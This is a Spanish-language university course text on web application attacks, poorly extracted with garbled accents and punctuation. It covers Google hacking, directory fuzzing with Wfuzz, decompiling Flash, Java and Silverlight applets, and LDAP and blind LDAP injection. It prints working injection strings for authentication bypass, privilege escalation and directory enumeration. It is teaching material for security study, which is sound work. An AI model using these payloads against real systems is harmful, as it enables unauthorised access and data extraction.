los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 36: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

